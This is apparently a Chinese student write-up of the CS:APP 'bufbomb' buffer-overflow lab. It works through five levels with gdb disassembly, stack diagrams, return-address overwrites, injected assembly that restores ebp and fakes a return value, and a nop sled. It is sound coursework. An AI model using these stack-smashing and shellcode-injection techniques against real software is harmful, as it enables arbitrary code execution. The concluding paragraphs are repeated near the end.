详细了解IA-32调用惯例和堆栈结构。它涉及对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击。
ubuntu 12.04.5 (32位) ;
gdb 7.4 ;
按照Readme.txt的要求,任意输入一个字符作为userid。使用makecookie生成cookie。我这里输入的字符为h,得到cookie:0x20083f2f
。
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
让BUFBOMB在getbuf
执行其return
语句时执行smoke
的代码,而不是返回test
。
注意:利用漏洞字符串还可能损坏堆栈中与此阶段不直接相关的部分,但这不会导致问题,因为冒烟会导致程序直接退出。
getbuf()
的反汇编代码:
Dump of assembler code for function getbuf:
0x08049262 <+0>: push %ebp
0x08049263 <+1>: mov %esp,%ebp
0x08049265 <+3>: sub $0x38,%esp
0x08049268 <+6>: lea -0x28(%ebp),%eax
0x0804926b <+9>: mov %eax,(%esp)
0x0804926e <+12>: call 0x8048c32
0x08049273 <+17>: mov $0x1,%eax
0x08049278 <+22>: leave ;恢复旧ebp
0x08049279 <+23>: ret ;返回地址出栈,存储在eip中
End of assembler dump.
由lea -0x28(%ebp),%eax
和mov %eax,(%esp)
可知,ebp-0x28
的地址为Gets()
函数的参数。Gets()
将以该地址为起点向地址增大的方向保存字符。getbuf()
的部分栈帧示意图如下:
因此需要将getbuf()
的返回地址覆盖为smoke()第一条语句的地址
。smoke()
的汇编代码如下:
Dump of assembler code for function smoke:
0x08048e0a <+0>: push %ebp
0x08048e0b <+1>: mov %esp,%ebp
0x08048e0d <+3>: sub $0x18,%esp
0x08048e10 <+6>: movl $0x804a2fe,0x4(%esp)
0x08048e18 <+14>: movl $0x1,(%esp)
0x08048e1f <+21>: call 0x8048990 <__printf_chk@plt>
0x08048e24 <+26>: movl $0x0,(%esp)
0x08048e2b <+33>: call 0x8049280
0x08048e30 <+38>: movl $0x0,(%esp)
0x08048e37 <+45>: call 0x80488d0
End of assembler dump.
首地址为0x08048e0a
。由于0x0a
为'\n'
,故选用0x08048e0b
注入。
构造的字符串为(40+4)个字符(除了0x0a以外的任意字符),再加上0b 8e 04 08
(小端法)。txt文件如下:
void fizz(int val)
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
与Level 0类似,让BUFBOMB
执行fizz
的代码,而不是返回test
。但是,您必须使它看起来像fizz,就好像传递了cookie作为它的参数。
fizz
的反汇编代码:
Dump of assembler code for function fizz:
0x08048daf <+0>: push %ebp ;esp=esp-4
0x08048db0 <+1>: mov %esp,%ebp ;保存esp的值到ebp
0x08048db2 <+3>: sub $0x18,%esp
0x08048db5 <+6>: mov 0x8(%ebp),%eax ;参数=M[ebp+8]
0x08048db8 <+9>: cmp 0x804d104,%eax
0x08048dbe <+15>: jne 0x8048de6
0x08048dc0 <+17>: mov %eax,0x8(%esp)
0x08048dc4 <+21>: movl $0x804a2e0,0x4(%esp)
0x08048dcc <+29>: movl $0x1,(%esp)
0x08048dd3 <+36>: call 0x8048990 <__printf_chk@plt>
0x08048dd8 <+41>: movl $0x1,(%esp)
0x08048ddf <+48>: call 0x8049280
0x08048de4 <+53>: jmp 0x8048dfe
0x08048de6 <+55>: mov %eax,0x8(%esp)
0x08048dea <+59>: movl $0x804a4d4,0x4(%esp)
0x08048df2 <+67>: movl $0x1,(%esp)
0x08048df9 <+74>: call 0x8048990 <__printf_chk@plt>
0x08048dfe <+79>: movl $0x0,(%esp)
0x08048e05 <+86>: call 0x80488d0
End of assembler dump.
由mov 0x8(%ebp),%eax
可知,此时ebp+0x8
的地址保存的是fizz()
的参数。其余类似Level0。更改getbuf()
的返回地址为fizz()
的入口地址后,进入fizz()
前的部分栈帧示意图如下。进入fizz()后,esp的值加4,之后push %ebp
,esp的值减4,再由mov %esp,%ebp
,我们可以确定fizz()
的参数的地址。
构造字符串为(40+4)个字符(除了0x0a以外的任意字符),加上af 8d 04 08
(fizz()
的入口地址,小端法),再加上4个字符
(除了0x0a以外的任意字符),最后加上cookie:2f 3f 08 20
(小端法)。txt文件如下:
int global_value = 0;
void bang(int val) {
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
与级别0和1类似,让BUFBOMB
执行bang
的代码,而不是返回test
。但在此之前,必须将全局变量global_value
设置为用户id的cookie
。攻击代码应该设置全局变量,将bang
的地址推送到堆栈上,然后执行ret
指令以跳转到bang
的代码。
bang
的反汇编代码:
Dump of assembler code for function bang:
0x08048d52 <+0>: push %ebp
0x08048d53 <+1>: mov %esp,%ebp
0x08048d55 <+3>: sub $0x18,%esp
0x08048d58 <+6>: mov 0x804d10c,%eax
0x08048d5d <+11>: cmp 0x804d104,%eax ;比较地址0x804d10c和0x804d104所存的值
0x08048d63 <+17>: jne 0x8048d8b
0x08048d65 <+19>: mov %eax,0x8(%esp)
0x08048d69 <+23>: movl $0x804a4ac,0x4(%esp)
0x08048d71 <+31>: movl $0x1,(%esp)
0x08048d78 <+38>: call 0x8048990 <__printf_chk@plt>
0x08048d7d <+43>: movl $0x2,(%esp)
0x08048d84 <+50>: call 0x8049280
0x08048d89 <+55>: jmp 0x8048da3
0x08048d8b <+57>: mov %eax,0x8(%esp)
0x08048d8f <+61>: movl $0x804a2c2,0x4(%esp)
0x08048d97 <+69>: movl $0x1,(%esp)
0x08048d9e <+76>: call 0x8048990 <__printf_chk@plt>
0x08048da3 <+81>: movl $0x0,(%esp)
0x08048daa <+88>: call 0x80488d0
End of assembler dump.
global_value
和cookie
的值。而getbuf
中的ebp
位置为0x55683610
(如下图),显然无法直接覆盖。
故可以编写汇编代码,然后把它们转换为字符编码放入堆栈中,以完成需要的操作。汇编代码如下:
/*bang.s*/
mov 0x804d104,%eax /*将cookie保存到eax*/
mov %eax,0x804d10c /*将global_value设置为cookie的值*/
push $0x08048d52 /*bang的函数入口地址入栈*/
ret /*返回,进入bang函数*/
通过指令将.s文件编译为.o文件,查看反汇编代码,共16个字节:
我们可以把这段代码从buf
的起始位置开始存放,而把getbuf
的返回地址更改为buf
的起始地址,以执行这段代码。经调试getbuf
,buf
的起始地址为:0x556835b8
。
更改后的栈帧示意图如下:
故注入的字符串为代码的字符编码(共16个字节)+28个字节(除了0x0a以外的任意字符)+b8 35 68 55
(buf的起始地址的小端法表示)。txt文件如下:
test
的c代码如下:
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
test
的汇编代码如下:
Dump of assembler code for function test:
0x08048e3c <+0>: push %ebp
0x08048e3d <+1>: mov %esp,%ebp
0x08048e3f <+3>: push %ebx
0x08048e40 <+4>: sub $0x24,%esp
0x08048e43 <+7>: call 0x8048c18
0x08048e48 <+12>: mov %eax,-0xc(%ebp)
0x08048e4b <+15>: call 0x8049262
0x08048e50 <+20>: mov %eax,%ebx
0x08048e52 <+22>: call 0x8048c18
0x08048e57 <+27>: mov -0xc(%ebp),%edx
0x08048e5a <+30>: cmp %edx,%eax
0x08048e5c <+32>: je 0x8048e74
0x08048e5e <+34>: movl $0x804a460,0x4(%esp)
0x08048e66 <+42>: movl $0x1,(%esp)
0x08048e6d <+49>: call 0x8048990 <__printf_chk@plt>
0x08048e72 <+54>: jmp 0x8048eba
0x08048e74 <+56>: cmp 0x804d104,%ebx
0x08048e7a <+62>: jne 0x8048ea2
0x08048e7c <+64>: mov %ebx,0x8(%esp)
0x08048e80 <+68>: movl $0x804a31a,0x4(%esp)
0x08048e88 <+76>: movl $0x1,(%esp)
0x08048e8f <+83>: call 0x8048990 <__printf_chk@plt>
0x08048e94 <+88>: movl $0x3,(%esp)
0x08048e9b <+95>: call 0x8049280
0x08048ea0 <+100>: jmp 0x8048eba
0x08048ea2 <+102>: mov %ebx,0x8(%esp)
0x08048ea6 <+106>: movl $0x804a337,0x4(%esp)
0x08048eae <+114>: movl $0x1,(%esp)
0x08048eb5 <+121>: call 0x8048990 <__printf_chk@plt>
0x08048eba <+126>: add $0x24,%esp
0x08048ebd <+129>: pop %ebx
0x08048ebe <+130>: pop %ebp
0x08048ebf <+131>: ret
End of assembler dump.
提供一个漏洞字符串,该字符串将导致getbuf
将cookie
返回到test
,而不是值1。可以在test
的代码中看到,这将导致程序运行“Boom!”。
漏洞字符串将cookie
设置为返回值的同时,应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret
指令以真正返回test
。
getbuf
的返回值保存在eax
中,故注入的字符串应执行操作将getbuf中eax
的值设为cookie
的值。同时返回到test
的call 0x8049262
之后的位置,同时注入buf
时应让保存的旧ebp
保持原值不变。
编写汇编代码如下:
mov $0x20083f2f,%eax /*将cookie的值保存在eax中*/
push $0x08048e50 /*test的call 之后的地址入栈*/
ret /*返回*/
输入指令,反汇编得机器码如下,共11个字节:
我们可以把这段代码从buf
的起始位置开始存放,而把getbuf
的返回地址更改为buf
的起始地址,以执行这段代码。与Level 2一样,buf
的起始地址为:0x556835b8
。
同时旧ebp
应保持原值不变,调试查看得getbuf
保存的ebp
的值为0x55683610
故更改后的getbuf
的部分栈帧如下:
故注入的字符串为代码的字符编码(共11个字节)+29个字节(除了0x0a以外的任意字符)+10 36 68 55
(原ebp的值,小端法表示)+b8 35 68 55
(buf的起始地址的小端法表示)。txt文件如下:
testn
的汇编代码如下
Dump of assembler code for function testn:
0x08048cce <+0>: push %ebp
0x08048ccf <+1>: mov %esp,%ebp
0x08048cd1 <+3>: push %ebx
0x08048cd2 <+4>: sub $0x24,%esp
0x08048cd5 <+7>: call 0x8048c18
0x08048cda <+12>: mov %eax,-0xc(%ebp)
0x08048cdd <+15>: call 0x8049244
0x08048ce2 <+20>: mov %eax,%ebx
0x08048ce4 <+22>: call 0x8048c18
0x08048ce9 <+27>: mov -0xc(%ebp),%edx
0x08048cec <+30>: cmp %edx,%eax
0x08048cee <+32>: je 0x8048d06
0x08048cf0 <+34>: movl $0x804a460,0x4(%esp)
0x08048cf8 <+42>: movl $0x1,(%esp)
0x08048cff <+49>: call 0x8048990 <__printf_chk@plt>
0x08048d04 <+54>: jmp 0x8048d4c
0x08048d06 <+56>: cmp 0x804d104,%ebx
0x08048d0c <+62>: jne 0x8048d34
0x08048d0e <+64>: mov %ebx,0x8(%esp)
0x08048d12 <+68>: movl $0x804a48c,0x4(%esp)
0x08048d1a <+76>: movl $0x1,(%esp)
0x08048d21 <+83>: call 0x8048990 <__printf_chk@plt>
0x08048d26 <+88>: movl $0x4,(%esp)
0x08048d2d <+95>: call 0x8049280
0x08048d32 <+100>: jmp 0x8048d4c
0x08048d34 <+102>: mov %ebx,0x8(%esp)
0x08048d38 <+106>: movl $0x804a2a6,0x4(%esp)
0x08048d40 <+114>: movl $0x1,(%esp)
0x08048d47 <+121>: call 0x8048990 <__printf_chk@plt>
0x08048d4c <+126>: add $0x24,%esp
0x08048d4f <+129>: pop %ebx
0x08048d50 <+130>: pop %ebp
0x08048d51 <+131>: ret
End of assembler dump.
在Nitro模式下运行时,BUFBOMB要求提供字符串5次,它将执行getbufn
5次,每次都有不同的堆栈偏移量。
与Level3相同,Level4要求提供一个漏洞字符串,该字符串将导致getbufn
将cookie
返回到testn
,而不是值1。可以在testn
的代码中看到,这将导致程序进入“KABOOM!”。攻击代码需要将cookie
设置为返回值,同时应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret
指令以真正返回testn
。
getbufn
的汇编代码如下:
Dump of assembler code for function getbufn:
0x08049244 <+0>: push %ebp
0x08049245 <+1>: mov %esp,%ebp
0x08049247 <+3>: sub $0x218,%esp
0x0804924d <+9>: lea -0x208(%ebp),%eax
0x08049253 <+15>: mov %eax,(%esp)
0x08049256 <+18>: call 0x8048c32
0x0804925b <+23>: mov $0x1,%eax
0x08049260 <+28>: leave
0x08049261 <+29>: ret
End of assembler dump.
ebp-0x208
的地址为Gets()
函数的参数。Gets()
将以该地址为起点向地址增大的方向保存字符。
通过调试,观察每次执行testn
时的ebp
,以及对应的getbufn
的ebp
的变化。
观察到testn
的ebp
是变化的,最大值为0x55683680
,最小值为0x556835a0
,差值为0xE0(224)。getbufn
的ebp
同样是变化的,最大值为0x55683650
,最小值为0x55683570
。对应的buf
起始地址最大值为0x55683448
,最小值为0x55683368
。由于我们注入的返回地址是固定的,故我们注入的返回地址须不小于0x55683468
,否则可能出现buf
覆盖的地址都大于设定的返回地址,从返回地址向高地址执行命令时执行了未知命令的情况。
类似于Level3,我们从更改后的返回地址开始执行指令。由于设定的返回地址不小于0x55683448
,当buf
的起始地址小于设定的返回地址时,就需要想办法使注入的攻击代码出现在返回地址的高处。我们就设定返回地址为0x55683448
,则buf
起始地址的最小值相差了224个字节,这就需要至少填充224个字节的nop指令(nop指令只使程序计数器加1),从而在任何情况下都能使CPU将指令至少执行到注入的攻击代码(若填充00,则CPU无法识别,无法进行后续操作)。
而testn
的ebp
是不断的变化的,无法像Level3一样在内存中注入固定的值恢复保存的ebp
。但我们可以找到getbufn
的ebp
与testn
的ebp
的关系,即前者比后者小了0x30
。我们的攻击代码是在getbufn
的leave
、ret
指令之后执行的。在这两次指令后,esp
的值变为getbufn
的ebp
+0x8
,而本身的ebp
变为保存的ebp
的值(但被buf溢出覆盖)。故此时,我们可以根据这个关系:testn
的ebp
=esp
+0x28
编写注入的代码。
注入的代码如下:
mov $0x20083f2f,%eax /*将cookie的值保存在eax中*/
lea 0x28(%esp),%ebp /*恢复保存的ebp的值*/
push $0x08048ce2 /*testn的call 之后的地址入栈*/
ret /*返回*/
输入指令,反汇编得机器码如下,共15个字节:
可以得到栈帧的示意图:
getbufn
的ebp-0x208为buf的起始地址,0x208为520。故注入的字符串为509个nop(0x90)+15个字节的攻击代码+48 34 68 55
(修改的返回地址,小端法表示)。txt文件如下:
这次实验的难度随级别的提高而增加,引导我们如何利用缓冲区存在的漏洞实现一些目的:
Level0:利用直接覆盖返回地址,在调用函数getbuf时直接返回smoke函数,让我们初步认识缓冲区溢出攻击的原理。
Level1:在Level0的基础上,多了修改函数参数的操作,这需要我们结合汇编代码找到参数的位置。
Level2:开始需要我们自己编写汇编代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。
Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。
Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。
通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配、nop_sled的使用等相关知识有了更加深刻的理解。
在实验的部分地方需要对运行过程进行调试,查看某个寄存器的值及其变化。所以gdb工具的使用是不可或缺的。通过完成这次实验,我对gdb工具的使用更加熟练。
进行实验,细心和耐心也是很重要的品质。有时候会因为不够细心而耽误时间,如Level4中我因为看错了ebp的值,使得第一次尝试没有通过,但好在能够通过调试发现错误之处,并加以改正。有了细心和耐心的加持,才能更好地完成一个个实验,收获知识,提升技能。
代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。
Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。
Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。
通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配、nop_sled的使用等相关知识有了更加深刻的理解。
在实验的部分地方需要对运行过程进行调试,查看某个寄存器的值及其变化。所以gdb工具的使用是不可或缺的。通过完成这次实验,我对gdb工具的使用更加熟练。
进行实验,细心和耐心也是很重要的品质。有时候会因为不够细心而耽误时间,如Level4中我因为看错了ebp的值,使得第一次尝试没有通过,但好在能够通过调试发现错误之处,并加以改正。有了细心和耐心的加持,才能更好地完成一个个实验,收获知识,提升技能。